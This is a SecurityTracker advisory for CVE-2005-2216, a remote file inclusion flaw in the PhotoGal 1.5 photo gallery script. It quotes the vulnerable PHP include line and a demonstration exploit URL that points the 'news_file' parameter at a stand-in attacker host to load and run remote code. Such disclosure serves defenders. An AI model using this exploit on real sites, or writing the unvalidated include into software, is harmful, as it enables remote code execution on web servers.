SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Multimedia)  >   PhotoGal Vendors:   Shedd Technologies International
PhotoGal Include File Bug Lets Remote Users Execute Arbitrary Commands
SecurityTracker Alert ID:  1014397
SecurityTracker URL:  http://securitytracker.com/id/1014397
CVE Reference:   CVE-2005-2216   (Links to External Site)
Updated:  Jun 24 2008
Original Entry Date:  Jul 6 2005
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.5
Description:   V4mu from Anomaly 1n The System reported a vulnerability in PhotoGal. A remote user can execute arbitrary commands on the target system.

The 'ops/gals.php' script does not properly validate user-supplied input in the 'news_file' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/[path_to_photogal]/ops/gals.php?news_file=http://[attacker]

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  scripts.sheddtech.com/photogal/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  photogal remote file inclusion


PhotoGal Photo Gallery Software has a remote file inclusion founded by
V4mu from Anomaly 1n The System

vendor: http://scripts.sheddtech.com/photogal/

the bug is in ops/gals.php line 35:

<?php
include("$news_file");
?>

They release a a bugfix for this bug but only for versions 1.0, the
new one 1.5 is bugged including the demo site of them.

Exploit:

www.target.com/[path_to_photogal]/ops/gals.php?news_file=http://[attacker]

------------------------------------------------------------------------------------------------------------------------

[A]nomaly [1]n [T]he [S]ystem

We are: 

V4mu <*> S0l4r1s <*> r3ckd4ll <*> paulinhu <*> nicked

www.a1ts.org
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2022, SecurityGlobal.net LLC